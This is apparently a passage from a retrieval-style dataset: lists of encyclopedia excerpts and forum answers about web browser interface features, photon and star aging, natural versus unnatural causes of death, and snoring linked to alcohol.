interfere with the normal functioning of a Web browser's \"back\" button. After being redirected, clicking the back button will cause the user to go back to the redirect page, which redirects them again. Some modern browsers seem to overcome this problem however, including Safari, Mozilla Firefox and Opera.\nAuto-redirects via markup (versus server-side redirects) are not", "Internet Explorer: individual tabs may be peeked at in the thumbnail previews. Thumbnail previews integrate Thumbnail Toolbars which can control the application from the thumbnail previews themselves. For example, if Windows Media Player is opened and the mouse cursor is hovering on the application icon, the thumbnail preview will allow the user the ability to Play, Stop, and Play Next/Previous track without having to switch to the Windows Media Player window. Jump lists Jump lists are menu options available by right-clicking a taskbar icon or holding the left mouse button and sliding towards the center of the desktop on an", "text within a sentence while automatically popping up a list of commands to apply to the selected text. A quadruple-click will select all text within a single paragraph while keeping the aforementioned popup open. Safari 3.0 In Safari 3.0 a triple-click will highlight all text within any single HTML element on the page. If there is an article with multiple paragraphs one can highlight an entire paragraph with a triple-click. Chrome In Google Chrome (and by extension Chrome OS), triple-clicking any part of a Web page will cause the nearest text node to be highlighted completely.", "triple-click will highlight all text within any single HTML element on the page. Firefox 3.5 In Firefox 3.5 and upwards, a triple-click selects the entire paragraph. If the triple click is inside a content editable element, and is on the first paragraph, it selects the text, and the opening tag of the contentEditable element. Internet Explorer 7 In Internet Explorer 7 a triple-click will highlight all text within any single HTML element on the page. If there is an article with multiple paragraphs one can highlight an entire paragraph with a triple-click. Opera In Opera a triple-click will select all", "Finder (software) Features The Finder uses a view of the file system that is rendered using a desktop metaphor; that is, the files and folders are represented as appropriate icons. It uses a similar interface to Apple's Safari browser, where the user can click on a folder to move to it and move between locations using \"back\" and \"forward\" arrow buttons. Like Safari, the Finder uses tabs to allow the user to view multiple folders; these tabs can be pulled off the window to make them separate windows. There is a \"favorites\" sidebar of commonly used and important folders", "Cursor (user interface) Origin of the term Cursor is Latin for 'runner.' A cursor is the name given to the transparent slide engraved with a hairline that is used for marking a point on a slide rule. The term was then transferred to computers through analogy. Text cursor In most command-line interfaces or text editors, the text cursor, also known as a caret, is an underscore, a solid rectangle, or a vertical line, which may be flashing or steady, indicating where text will be placed when entered (the insertion point). In text mode displays, it was not possible to show", "of the IFileIsInUse interface, Windows Explorer, upon encountering a locked file, allows the user to close the file or switch to the application from the dialog box itself. Default Programs A common issue in previous Windows versions was that competing applications doing common tasks each tried to associate themselves as the default for a certain file type using their own custom user interface. The default application information for a particular file type was stored in the registry on a per-machine basis, resulting in applications changing another user's default program when one user's defaults were changed and each application querying several", "to immediately jump to that point on the page, or page-by-page for multipage content. After clicking the trough, scrolling automatically begins and then stop once the thumb has reached the position of the mouse pointer. This scrolling technique is faster than others and is best used when the user has to scroll through a lot of content at once, or when the user knows where exactly on a page they need to scroll to. On-screen arrow buttons Many applications, such as Microsoft Word and PowerPoint, contain scrollbars with on screen directional arrows for purposes of scrolling. Clicking on the arrows", "usually written without spacing on either side when it connects single words, letters, or symbols. It is, however, common to include a space on each side of the slash when it connects items which themselves have spaces—for example, when marking line breaks in quoted verse or when connecting other items with several words such as \"our New Zealand / Western Australia trip\". When typesetting a URL or computer path, line breaks should occur before a slash but not in the text between two slashes. Encoding As a very common character, the slash (as slant) was originally encoded in ASCII with", "changing the text itself. In Internet Explorer, right-to-left display can be forced by right-clicking a webpage and selecting Encoding -> Right-To-Left Document. In Notepad, or any Windows standard text box, directionality can be changed by right-clicking and selecting Right to left Reading order. Same effect can be achieved by pressing Shift key with Right Ctrl. You can switch back to Left to right Reading order by unselecting the check box or pressing Shift key with Left Ctrl. Note that this only effects presentation of the text. Next time you open the same text in Notepad, you", "links and navigating through browser history and bookmarks. The same functionality can be accessed with keyboard shortcuts.\nBy default xombrero window contains two panels, providing the ordinary layout of a web browser window. The first one (on the top) – \"fancy bar\" – provides URL entry, backward, forward, stop and white-list toggle buttons and optional search string entry. Another panel (on the bottom) – \"status bar\" – reports the current URL (or page title), zoom level and position in page. With these panels enabled and a mouse attached, the user may operate xombrero like Firefox or Midori. History The development of", "can be placed vertically, horizontally, or both in the window depending on which direction the content extends past its boundaries. Two arrows are often included on either end of the thumb or trough for more precise adjustments. The “thumb” has different names in different environments: on the Mac OS X 10.4 it is called a \"scroller\"; on the Java platform it is called \"thumb\" or \"knob\"; Microsoft's .NET documentation refers to it as \"scroll box\" or \"scroll thumb\"; in other environments it is called \"elevator\", \"quint\", \"puck\", \"wiper\" or \"grip\"; in certain environments where browsers use agnostic language to the" ]

[ "Photons do not experience time, so they do not age as we understand it. They do 'die' whenever they are absorbed. Every photon emitted by your monitor 'dies' in your retina (converted to electrical impulses) so you can read this answer.", "Photons don't experience time (or age) as to them they don't travel any distance. They come in and out of existence at the same time, because their speed makes their universe seem infinitely small.\n\nFor us, moving at a vastly slower pace (though not 0), light has a definitive speed and you could argue that a photon had to exist at point A at t0 (starting time), traveled to point B arriving at t1 (arrival time), from which you calculate its speed. \n\nSo the question if photons 'age' depends on which reference frame you're talking about. Another useful property of our reference frame is that a photon's energy can be lost over time (not because of itself but from other influences), making its frequency decline. In practice, this means that all visible photons will become red (the lowest frequency) before going invisible. This is called *redshifting* and can tell you how long ago a photon came into existence if you know the starting frequency or if the object the photon came from moved in any way. This is one of the pillars of astronomy as you can use light to determine distance, age and speed of other objects." ]

[ "ages is a result of uncertainties in stellar evolution models, which include factors such as convective overshoot, in which a convective zone within a star penetrates an otherwise non-convective zone, resulting in higher apparent ages.\nAnother way of estimating the age of the cluster is by looking at the lowest-mass objects. In normal main-sequence stars, lithium is rapidly destroyed in nuclear fusion reactions. Brown dwarfs can retain their lithium, however. Due to lithium's very low ignition temperature of 2.5 × 10⁶ K, the highest-mass brown dwarfs will burn it eventually, and so determining the highest mass of brown dwarfs still containing", "and redden with time. Over a very long time, a white dwarf will cool to temperatures at which it will no longer emit significant heat or light, and it will become a cold black dwarf. However, since no white dwarf can be older than the Age of the universe (approximately 13.8 billion years), even the oldest white dwarfs still radiate at temperatures of a few thousand kelvins, and no black dwarfs are thought to exist yet.\nAn A-type main-sequence star (A V) or A dwarf star is a main-sequence (hydrogen-burning) star of spectral type A and luminosity class V. These stars have", "years, all cool dwarf stars are relatively young. Models predict that at the ends of their lives the smallest of these stars will become blue dwarfs instead of expanding into red giants. Magnetic properties After the detection of bursts of radio emission from the M9 ultracool dwarf LP 944-20 in 2001, a number of astrophysicists began observing programs at the Arecibo Observatory and the Very Large Array to search for additional objects that emit radio waves. To date hundreds of ultracool dwarfs have been observed with these radio telescopes and over a dozen such radio-emitting ultracool dwarfs have been found.", "sterile.\n- IGC scientists led by Miguel Godinho Ferreira found that certain organs, such as the gut, start to age before other tissues because its cells have a \"timekeeper\" with a faster pace. The results published in the journal PLoS Genetics in January 2016 also showed that monitoring the pace of these timekeepers can be a good indicator for the aging of the whole organism since the appearance of local age-related lesions anticipates the onset of age-associated diseases, such as cancer.\n- Research led by Raquel Oliveira, has elucidated how cells are almost blind to chromosome cohesion defects. The results published in", "and its material will begin to crystallize, starting with the core. The star's low temperature means it will no longer emit significant heat or light, and it will become a cold black dwarf. Because the length of time it takes for a white dwarf to reach this state is calculated to be longer than the current age of the universe (approximately 13.8 billion years), it is thought that no black dwarfs yet exist. The oldest white dwarfs still radiate at temperatures of a few thousand kelvins. Discovery The first white dwarf discovered was in the triple star system of 40 Eridani,", "photoluminescence. A sample in which the mineral grains have all been exposed to sufficient daylight (seconds for quartz; hundreds of seconds for potassium feldspar) can be said to be of zero age; when excited it will not emit any such photons. The older the sample is, the more light it emits, up to a saturation limit. Minerals The minerals that are measured are usually either quartz or potassium feldspar sand-sized grains, or unseparated silt-sized grains. There are advantages and disadvantages to using each. For quartz, blue or green excitation frequencies are normally used and the near ultra-violet emission is measured.", "light with a redshift of z, then the scale factor at the time the light was originally emitted is given by\n.\nWMAP nine-year results combined with other measurements give the redshift of photon decoupling as z = 1091.64±0.47, which implies that the scale factor at the time of photon decoupling would be ​¹⁄1092.64. So if the matter that originally emitted the oldest CMBR photons has a present distance of 46 billion light-years, then at the time of decoupling when the photons were originally emitted, the distance would have been only about 42 million light-years. Large-scale structure Sky surveys and mappings of the various", "time they are half a billion years old, thus the lithium test is not perfect. Atmospheric methane Unlike stars, older brown dwarfs are sometimes cool enough that, over very long periods of time, their atmospheres can gather observable quantities of methane which cannot form in hotter objects. Dwarfs confirmed in this fashion include Gliese 229B. Iron rain Main-sequence stars cool, but eventually reach a minimum bolometric luminosity that they can sustain through steady fusion. This varies from star to star, but is generally at least 0.01% that of the Sun. Brown dwarfs cool and darken steadily over their lifetimes: sufficiently", "energy to an unstable level. This instability is unfavorable, so the energized electron is returned to a stable state almost as immediately as it becomes unstable.The time delay between excitation and re-emission that occurs when returning to the stable ground state causes the photon that is re-emitted to be a different color (i.e. it relaxes to a lower energy and thus the photon emitted is at a shorter wavelength, as governed by the Plank-Einstein relation) than the excitation light that was absorbed. This return to stability corresponds with the release of excess energy in the form of fluorescent light.", "as the rodent aged. Thus, aging is related to a significant loss in DNA methylation. However, this loss of DNA methylation appears to be slowed by physical exercise under rare conditions, in generel this effect is not very well studied and so far it seems like there is no connection between DNA methylation and physical activity. Further studies have looked at the effects of physical exercise on DNA methylation and aging in humans. \nAnother component of aging is the gradual shortening of telomeres located at the end of chromosomes. Telomeres are repetitive sequences located at the end of chromosomes whose", "finite or infinite age, there would be infinitely many other stars in the same angular direction, with an infinite total impact. So the finite age of the stars does not explain the paradox. Brightness Suppose that the universe were not expanding, and always had the same stellar density; then the temperature of the universe would continually increase as the stars put out more radiation. Eventually, it would reach 3000 K (corresponding to a typical photon energy of 0.3 eV and so a frequency of 7.5×10¹³ Hz), and the photons would begin to be absorbed by the hydrogen plasma filling most of", "Optical decay Optical decay is process of relaxation of excitation of an excited quantum system, usually due to the spontaneous emission of a photon or a phonon. Optical decay is dominant mechanism of quenching of excitation of active optical media. In solid-state lasers the optical decay limits the storage of energy in active medium.\nAlso, the term optical decay is used to the effect of quick reduction of luminosity of astrophysical objects Phenomenology of optical decay In the first approximation, the optical decay can be treated as just spontaneous emission, and its rate is determined with the Einstein Coefficients. For the", "Biophoton Biophotons (from the Greek βίος meaning \"life\" and φῶς meaning \"light\") are photons of light in the ultraviolet and low visible light range that are produced by a biological system. They are non-thermal in origin, and the emission of biophotons is technically a type of bioluminescence, though bioluminescence is generally reserved for higher luminance luciferin/luciferase systems. The term biophoton used in this narrow sense should not be confused with the broader field of biophotonics, which studies the general interaction of light with biological systems.\nBiological tissues typically produce an observed radiant emittance in the visible and ultraviolet", "tissue for up to 1 year. If the tissue is formalin-fixed or putrefied, methylation analysis is much more difficult. Aging Although blood is the primary sample used in studies, most tissues consistently show that methylation increases early in life and slowly decreases, globally, throughout late adulthood. This process is referred to as epigenetic drift.\nThe epigenetic clock refers to methylation sites that are highly associated with aging. These sites consistently change across individuals and can therefore be used as age markers for an individual. There are some models that have been developed to predict ages for specific samples, such as saliva", "be paid the full price of the item. Photons depleted over time, so a user that did not use them fast would slowly lose them.", "time. Female breast cancer In a study of three epigenetic clocks and breast cancer risk, DNAm age was found to be accelerated in blood samples of cancer-free women, years before diagnosis. Cancer tissue Cancer tissues show both positive and negative age acceleration effects. For most tumor types, no significant relationship can be observed between age acceleration and tumor morphology (grade/stage). On average, cancer tissues with mutated TP53 have a lower age acceleration than those without it. Further, cancer tissues with high age acceleration tend to have fewer somatic mutations than those with low age acceleration.\nAge acceleration is highly related", "of translating its history into its present behavior. A nucleus does not \"age\" with the passage of time. Thus, the probability of its breaking down does not increase with time, but stays constant no matter how long the nucleus has existed. This constant probability may vary greatly between different types of nuclei, leading to the many different observed decay rates. However, whatever the probability is, it does not change. This is in marked contrast to complex objects which do show aging, such as automobiles and humans. These systems do have a chance of breakdown per unit of time, that increases", "of a sufficient number of photons (usually a few dozen photons are required), it is rendered developable. At low light levels, i.e. few photons per unit time, photons impinge upon each grain relatively infrequently; if the four photons required arrive over a long enough interval, the partial change due to the first one or two is not stable enough to survive before enough photons arrive to make a permanent latent image center.\nThis breakdown in the usual tradeoff between aperture and shutter speed is known as reciprocity failure. Each different film type has a different response at low light levels. ", "can estimate its effects. Generally, the ageing effect eventually decreases the frequency. Factors that can cause a small frequency drift over time are stress relief in the mounting structure, loss of hermetic seal, contaminations contained in the crystal lattice, moisture absorption, changes in or on the quartz crystal, severe shock and vibrations effects, exposure to very high temperatures. Crystal aging tends to be logarithmic meaning the maximum rate of change of frequency occurs immediately after manufacture and decays thereafter. Most of the aging will occur within the first year of the crystals service life. Crystals do eventually stop aging (asymptotically),", "allowed the observation of non-linear optical effects such as upconversion. This led to the experimental discovery of photon upconversion in 1966 by François Auzel. Auzel showed that a photon of infrared light could be upconverted into a photon of visible light in ytterbium–erbium and ytterbium–thulium systems. In a transition-metal lattice doped with rare-earth metals, an excited-state charge transfer exists between two excited ions. Auzel observed that this charge transfer allows an emission of photon with much higher energy than the corresponding absorbed photon. Thus, upconversion can occur through a stable and real excited state, supporting Bloembergen's earlier work. This result", "there has been no fully conclusive report on the detection of photons emitted in the decay of ²²⁹ᵐTh. Instead, improved gamma ray spectroscopy measurements using an advanced high-resolution X-ray microcalorimeter were carried out in 2007, yielding a new value for the transition energy of E = 7.6±0.5 eV, corrected to E = 7.8±0.5 eV in 2009. This shift in isomeric energy from 3.5 eV to 7.8 eV possibly explains why several early attempts to directly observe the transition were unsuccessful.\nStill, most of the recent searches for light emitted in the isomeric decay failed to observe any signal, pointing towards a potentially strong", "involved in growth hormone uptake and signaling are largely conserved across a plethora of species, such as yeast, nematodes, fruit flies, mice and humans. These studies have also shown that individuals with Laron syndrome, an autosomal recessive disorder resulting in dwarfism due to defects in growth hormone receptors, have increased lifespan. Additionally, these individuals have much lower incidences of age-related diseases such as type 2 diabetes and cancer. Lastly, human centenarians around the world are disproportionately of short stature, and have low levels of IGF-1. Reproduction and aging Numerous studies have found that lifespan is inversely correlated with both", "factory-manufactured optical media. The problem is exacerbated because as the writing laser of the recorder is used, its power output drops with age - typically after just a few years. Consequently, a disc written with a laser that is nearing the end of its useful life may not have a readable life that is long as if a new laser had been used.\nDye based optical media should not be solely relied on to archive valuable data. MAM-A (Mitsui) claims a life of 300 years on their archival gold CD-R and 100 years for gold DVDs. Good alternatives", "Photon upconversion Photon upconversion (UC) is a process in which the sequential absorption of two or more photons leads to the emission of light at shorter wavelength than the excitation wavelength. It is an anti-Stokes type emission. An example is the conversion of infrared light to visible light. Upconversion can take place in both organic and inorganic materials, through a number of different mechanisms. Organic molecules that can achieve photon upconversion through triplet-triplet annihilation are typically polycyclicaromatic hydrocarbons (PAHs). Inorganic materials capable of photon upconversion often contain ions of d-block or f-block elements. Examples of these ions are Ln³⁺, Ti²⁺,", "speed of light cannot always be used to determine their age. In the same time period, research had been undertaken to survey, identify and catalogue galaxies, including Seyferts. Beginning in 1967, Benjamin Markarian published lists containing a few hundred galaxies distinguished by their very strong ultraviolet emission, with measurements on the position of some of them being improved in 1973 by other researchers. At the time, it was believed that 1% of spiral galaxies are Seyferts. By 1977, it was found that very few Seyfert galaxies are ellipticals, most of them being spiral or barred spiral galaxies. During the same", "about 700 days after maximum light. Interstellar absorption lines of ionized calcium due to gas both in our galaxy and NGC 5253 were observed, allowing an estimate of the interstellar extinction.\nThe extended length of the observed light curve found a remarkably uniform 0.01 magnitudes per day decline starting about 60 days after discovery. Translated into other units, this is almost exactly a 77-day half-life, which is the half-life of ⁵⁶Co. In the standard model for Type Ia supernovae, approximately a solar mass of ⁵⁶Ni is formed and ejected from a white dwarf which accretes mass from a binary companion and", "photons then emitting a single high energy photon. The probability of absorbing n photons decreases as n increases, explaining the rapid decrease in the initial harmonic intensities. Development The first high harmonic generation was observed in 1977 in interaction of intense CO₂ laser pulses with plasma generated from solid targets. HHG in gases, far more widespread in application today, was first observed by McPherson and colleagues in 1987, and later by Ferray et al. in 1988, with surprising results: the high harmonics were found to decrease in intensity at low orders, as expected, but then were observed to form a", "hormone production and secretion and found reduced growth hormone secretion may actually promote longevity in those species that have been tested.\nThe Clinical Interventions in Aging review also stated that although the decreasing levels of the hormone seen in the elderly might reduce quality of life, this change could protect from age-related diseases and cited evidence linking GH to cancer. This concern was mirrored in a 2008 review published in Clinical Endocrinology, which stated that the risk of increasing the incidence of cancer was a strong argument against the use of this hormone as an \"elixir of youth\" in healthy adults.", "began to fade again. By mid 2017, it had been below its \"normal\" brightness for ten years. It also reached a new record faintest at magnitude 15.2. Spectrum R Coronae Borealis at maximum light clearly shows the spectrum a late F or early G yellow supergiant, but with marked peculiarities. Hydrogen lines are weak or absent, while carbon lines and molecular bands of cyanogen (CN) and C₂ are exceptionally strong. Helium lines and metals such as calcium are also present as expected.\nThe spectrum is variable, most obviously during the brightness fades. The normal absorption spectrum is replaced", "decline with age.\nMilky spots are seen as playing an important first-line defence role in the immune system as well as other functions. They have been identified as being an early target of secondary tumors and their response is seen to be possibly of use in therapy." ]

[ "[I asked this question on ELI5 a few weeks ago.](_URL_0_)\n\nThe best answer I received was by elzio:\n > In medical and legal contexts, there is a difference between manner of death and cause of death. The only labels for MoD are natural, accidental, homicide, suicide, or unknown. The CoD explains what medically caused to person to die (loss of blood, asphyxiation, etc).\n\n > So if someone is listed as dying naturally, it just means that it wasn't suicide, murder, or an accident.", "\"Natural death\" is just a euphemism for any non-artificial means of dying. It includes strokes, cancer, and heart attacks. Unnatural would be someone like murder, accident, or suicide.", "\"In the end everyone dies of lack of oxygen to the brain.\"\n\nCan't remember where I heard that....", "I have heard that most people die of shock, whatever the underlying cause. Can anyone confirm or deny?", "The best I can do is from Groundhog Day:\n\nSorry, sir, sometimes people just die." ]

[ "Death Death is the permanent cessation of all biological functions that sustain a living organism. Phenomena which commonly bring about death include aging, predation, malnutrition, disease, suicide, homicide, starvation, dehydration, and accidents or major trauma resulting in terminal injury. In most cases, bodies of living organisms begin to decompose shortly after death.\nDeath – particularly the death of humans – has commonly been considered a sad or unpleasant occasion, due to the affection for the being that has died and the termination of social and familial bonds with the deceased. Other concerns include fear of death, necrophobia, anxiety, sorrow, grief, emotional", "Unnatural causes of death include suicide and predation. From all causes, roughly 150,000 people die around the world each day. Of these, two thirds die directly or indirectly due to senescence, but in industrialized countries – such as the United States, the United Kingdom, and Germany – the rate approaches 90% (i.e., nearly nine out of ten of all deaths are related to senescence).\nPhysiological death is now seen as a process, more than an event: conditions once considered indicative of death are now reversible. Where in the process a dividing line is drawn between life and death depends on factors", "errors, drug overdoses. Jurisdictions differ in how they categorize and report unnatural deaths, including level of detail and whether they are considered a single category with subcategories, or separate top-level categories. There is no international standard on whether or how to classify a death as natural vs. unnatural. \n\"Mechanism of death\" is sometimes used to refer to the proximate cause of death, which might differ than the cause that is used to classify the manner of death. For example, the proximate cause or mechanism of death might be brain ischemia (lack of blood flow to the brain), caused", "a verdict of death from natural causes.", "to another.\nOther definitions for death focus on the character of cessation of something. More specifically, death occurs when a living entity experiences irreversible cessation of all functioning. As it pertains to human life, death is an irreversible process where someone loses their existence as a person.\nHistorically, attempts to define the exact moment of a human's death have been subjective, or imprecise. Death was once defined as the cessation of heartbeat (cardiac arrest) and of breathing, but the development of CPR and prompt defibrillation have rendered that definition inadequate because breathing and heartbeat can sometimes be restarted. This type of death", "Accidental death An accidental death is an unnatural death that is caused by an accident such as a slip and fall, traffic collision, or accidental poisoning. Accidental deaths are distinguished from death by natural causes (disease) and from intentional homicides and suicide. An accidental death can still be considered a homicide or suicide if a person was the unintentional cause.\nFor criminal purposes, intentional homicides are usually classified as murder. Exceptions such as self-defense vary by jurisdiction, and some cases, persons accused of murder have asserted as a defense that the deceased was actually the victim of an accidental death", "external forces. For example, a person dying from complications from influenza (an infection), a heart attack (an internal body malfunction), or sudden heart failure would most likely be listed as having died from natural causes. \"Death by natural causes\" is sometimes used as a euphemism for \"dying of old age\", which is considered problematic as a cause of death (as opposed to a specific age-related disease); there are also many non-age-related causes of \"natural\" death, for legal manner-of-death purposes. (See Cause of death § Age)\nAn unnatural death results from an external cause, typically including homicides, suicides, accidents, medical", "stated or implicit meaning of \"sudden cardiac death\" is sudden death from cardiac causes. However, sometimes physicians call cardiac arrest \"sudden cardiac death\" even if the person survives. Thus one can hear mentions of \"prior episodes of sudden cardiac death\" in a living person.\nIn 2006 the American Heart Association presented the following definitions of sudden cardiac arrest and sudden cardiac death: \"Cardiac arrest is the sudden cessation of cardiac activity so that the victim becomes unresponsive, with no normal breathing and no signs of circulation. If corrective measures are not taken rapidly, this condition progresses to sudden death. Cardiac arrest", "Heart arrhythmia Sudden arrhythmic death syndrome Sudden arrhythmic death syndrome (SADS), is a term used as part of sudden unexpected death syndrome to describe sudden death due to cardiac arrest brought on by an arrhythmia in the presence or absence of any structural heart disease on autopsy. The most common cause of sudden death in the US is coronary artery disease specifically because of poor oxygenation of the heart muscle, that is myocardial ischemia or a heart attack Approximately 180,000 to 250,000 people die suddenly of this cause every year in the US. SADS may occur from other causes.", "Premature burial Premature burial, also known as live burial, burial alive, or vivisepulture, means to be buried while still alive.\nAnimals or humans may be buried alive accidentally on the mistaken assumption that they are dead, or intentionally as a form of torture, murder, or execution. It may also occur with consent of the victim as a part of a stunt, with the intention to escape.\nFear of being buried alive is reported to be among the most common phobias. Biology Premature burial can lead to death through the following: asphyxiation, dehydration, starvation, or (in cold climates) hypothermia. A person trapped with", "or suicide. After death, the remains of an organism re-enter the biogeochemical cycle. Organisms may be consumed by a predator or a scavenger and leftover organic material may then be further decomposed by detritivores, organisms that recycle detritus, returning it to the environment for reuse in the food chain.\nOne of the challenges in defining death is in distinguishing it from life. Death would seem to refer to either the moment life ends, or when the state that follows life begins. However, determining when death has occurred is difficult, as cessation of life functions is often not simultaneous across organ systems.", "Tragedy (event) A tragedy is an event of great loss, usually of human life. Such an event is said to be tragic. Traditionally, the event would require \"some element of moral failure, some flaw in character, or some extraordinary combination of elements\" to be tragic.\nNot every death is considered a tragedy. Rather, it is a precise set of symptoms surrounding the loss that define it as such. There are a variety of factors that define a death as tragic.\nAn event in which a massive number of deaths occur may be seen as a tragedy. This can be re-enforced by", "\"lack of replication is rampant.\" Near-death experiences A near-death experience (NDE) is an experience reported by a person who nearly died, or who experienced clinical death and then revived. NDEs include one or more of the following experiences: a sense of being dead; an out-of-body experience; a sensation of floating above one's body and seeing the surrounding area; a sense of overwhelming love and peace; a sensation of moving upwards through a tunnel or narrow passageway; meeting deceased relatives or spiritual figures; encountering a being of light, or a light; experiencing a life review; reaching a border or boundary; and", "the environment. A literature review by Maslen and Mitchell identified scholarly support for several possible causes of death: cardiac rupture, heart failure, hypovolemic shock, acidosis, asphyxia, arrhythmia, and pulmonary embolism. Death could result from any combination of those factors or from other causes, including sepsis following infection due to the wounds caused by the nails or by the scourging that often preceded crucifixion, eventual dehydration, or animal predation.\nA theory attributed to Pierre Barbet holds that, when the whole body weight was supported by the stretched arms, the typical cause of death was asphyxiation. He wrote that the condemned would have", "A Natural Death Overview Frontman Nathan Winneke states: \"A Natural Death is about the futility and arrogance of creation and destruction, the overwhelming scale of space and time, and the brutal majesty of nature, the horror of birth, and the beauty of death. Everyone who will ever live will die a natural death, and will soon after be forgotten for eternity. Hopefully this album will serve as a warning to the human race to stop taking itself so seriously, as we have seen the dire consequences of its actions in the future. You are nothing.\"\nUpon the album's release, \"Murder\" was", "no such thing as a belief in natural death. All deaths are considered to be the result of evil spirits or spells, usually influenced by an enemy. Often, a dying person will whisper the name of the person they think caused their death. If the identity of the guilty person is not known, a \"magic man\" will watch for a sign, such as an animal burrow leading from the grave showing the direction of the home of the guilty party. This may take years but the identity is always eventually discovered. The elders of the mob that the deceased belonged", "Clinical death Clinical death is the medical term for cessation of blood circulation and breathing, the two necessary criteria to sustain human and many other organisms' lives. It occurs when the heart stops beating in a regular rhythm, a condition called cardiac arrest. The term is also sometimes used in resuscitation research.\nStopped blood circulation has historically proven irreversible in most cases. Prior to the invention of cardiopulmonary resuscitation (CPR), defibrillation, epinephrine injection, and other treatments in the 20th century, the absence of blood circulation (and vital functions related to blood circulation) was historically considered the official definition of death. With", "death itself.", "there was due to administrative errors. Furthermore, all deaths had been registered as natural, with the exception of the last event. Even that last event was initially thought to be a death by natural causes by the doctors responsible for the child; but within a day, on being connected by other hospital authorities with de Berk and her repeated presence at recent incidents, it became classified as an unnatural death. Statistical arguments The court made heavy use of statistical calculations to achieve its conviction. In a 2003 TV special of NOVA, Dutch professor of Criminal Law Theo de Roos stated:", "Mass mortality event A mass mortality event (MME) is an incident that kills a vast number of individuals of a single species in a short period of time. The event may put a species at risk of extinction or upset an ecosystem. This is distinct from the mass die-off associated with short lived and synchronous emergent insect taxa which is a regular and non-catastrophic occurrence.\nCauses of MME's include disease and human-related activities such as pollution. Climatic extremes and other environmental influences such as oxygen stress in aquatic environments play a role, as does starvation. In many MME's there are multiple", "that the people engaged in, any peculiar or interesting causes of death, and other notable events or actions.", "death is defined by WHO as \"the death of a woman while pregnant or within 42 days of termination of pregnancy, irrespective of the duration and site of the pregnancy, from any cause related to or aggravated by the pregnancy or its management but not from accidental or incidental causes.\" In 2008, noting that each year more than 100,000 women die of complications of pregnancy and childbirth and at least seven million experience serious health problems while 50 million more have adverse health consequences after childbirth, the World Health Organization urged midwife training to strengthen maternal and newborn", "in the first resurrection will not experience the second death. Revelation 20:14 and 21:8 then identify the second death with the lake of fire. In Revelation 21:8 we read: \"[A]s for the cowardly, the faithless, the polluted, the murderers, the fornicators, the sorcerers, the idolaters, and all liars, their place will be in the lake that burns with fire and sulfur, which is the second death.\" Interpretation When people are saved, they are not subject to the second death. They die only the first, earthly death. However, an unsaved person will experience two deaths: the first death and then after", "death a homicide. According to the medical examiner's definition, a homicide is a death caused by the intentional actions of another person or persons, which is not necessarily an intentional death or a criminal death.\nGarner's death was also found by the medical examiner to have resulted from \"compression of neck (choke hold), compression of chest and prone positioning during physical restraint by police\". Asthma, heart disease, and obesity were cited as contributing factors. Prior to that, on July 19, 2014, The New York Post published a report, citing unnamed sources, claiming the medical examiner had found no damage to Garner's", "dying person consented. Third, death was a public ceremony and parents, spouses, family, neighbors and even children were present at the bedside. Death was seen as normal and it was customary for loved ones to witness the occasion. Finally, while accepted and witnessed, it lacked \"theatrics\" and a \"great show of emotions\". Ariès explains his choice of \"Tamed Death\" as a title is meant to contrast with the \"wild\" death of the twentieth century, in which people fear and avoid death.\nIn this early medieval period people were not concerned with what would happen to their bodies after death. For", "strange relationship with death. People die all of the time—largely because they are killed by one of the main characters—and often these deaths are treated with such blithe disinterest that the death becomes almost startling in its inconsequence. But once in a while, the show remembers the finality of death. And when it does, it always knocks the emotion of it out of the park.\"\nAshley Dominique from Geeked Out Nation gave an A- rate to the episode saying that it \"marked the loss of one of the Petrova women in a strong send off.\"\nStephanie Flasher of TV After Dark gave", "ill person, Death will appear next to the sick person. If Death stands at the person's head, that person is to be given the special herb found in the forest, and cured. But, if Death appears at the person's feet, any treatment on them would be useless as they would soon die.\nThe boy soon becomes famous, just as Death has foreseen and receives plenty of gold for his amazing ability to see whether a person would live or die. Soon, the king of all the lands becomes ill and sends for the famous physician.\nWhen the physician goes to see the", "physicians lost confidence in their ability to pronounce death. This phenomenon was in part sparked by Jacques-Bénigne Winslow’s (1669–1760) The Uncertainty of the Signs of Death and the Danger of Precipitate Interments and Dissections, published in 1740, which claimed the existence of death-like state often referred to as “suspended animation.” In addition, it argued that victims to these conditions should not be pronounced dead, nor buried, until their bodies demonstrated overt putrefaction. Goodwyn's graduation thesis vehemently refutes these concepts.  \nHis experimental work aimed to identify the physiological hallmark of drowning, which he accomplished by removing the sternum from cats,", "Deathbed phenomena Deathbed phenomena refers to a range of paranormal experiences claimed by people who are dying. There are many examples of deathbed phenomena in both non-fiction and fictional literature, which suggests that these occurrences have been noted by cultures around the world for centuries, although scientific study of them is relatively recent. In scientific literature such experiences have been referred to as death-related sensory experiences (DRSE). Dying patients have reported to staff working in hospices they have experienced comforting visions.\nModern scientists consider deathbed phenomena and visions to be hallucinations. Deathbed visions Deathbed visions have been described since ancient times.", "we cannot be certain) untimely death\"." ]

[ "Snoring happens when your throat closes or nearly closes while sleeping. This can happen for a number of reasons, the most common chronic reason being sleep apnea. But it can happen erratically too, usually when the muscles controlling your throat relax. Alcohol is a muscle relaxant, so it can indeed cause snoring - and [Wikipedia's list of causes](_URL_0_) explicitly lists alcohol." ]

[ "Snoring Signs and symptoms Snoring is known to cause sleep deprivation to snorers and those around them, as well as daytime drowsiness, irritability, lack of focus and decreased libido. It has also been suggested that it can cause significant psychological and social damage to sufferers. Multiple studies reveal a positive correlation between loud snoring and risk of heart attack (about +34% chance) and stroke (about +67% chance).\nThough snoring is often considered a minor affliction, snorers can sometimes suffer severe impairment of lifestyle. The between-subjects trial by Armstrong et al. discovered a statistically significant improvement in marital relations after snoring was", "herpes. Cartman defecates into the water; it attracts beavers, which the boys fight off offscreen. They then realize that falling asleep might result in their death, so in order to keep everyone awake, Kyle asks Cartman to share his drink (now \"Diet Double Dew\", which has half the caffeine and sugar of \"Double Dew\", which is pretty much regular Mountain Dew), but he refuses to let Kenny touch it because he has herpes. Kenny eventually dies and the three boys end up contracting herpes from sharing it anyway. When Kyle and Cartman start arguing on whose idea it was to", "his mind. His drinking becomes chronic alcoholism that swiftly kills him due to his consumption, and the first chorus depicts his funeral and his wife crying.\nThe second verse of the song in the video depicts the wife starting a drinking habit close to that of her late husband. During her drunken state, she dances with several men, but finds herself seeing her dead husband's face in the other men. There is a scene in which the wife pushes a man (with whom she was going to sleep) out of the room and shuts the door on him. She obviously holds", "yet they are not a drunken race, at least I never was present at much intemperance; but no man is so abstemious as to refuse the morning dram, which they call a skalk.\" In modern usage, the term skalk is used in Scotch whisky drinking culture to refer to a casual glass of whisky in the morning.", "to come to the realisation that all of his problems are caused by alcohol when Moe forces beer down Homer's throat, giving him alcohol 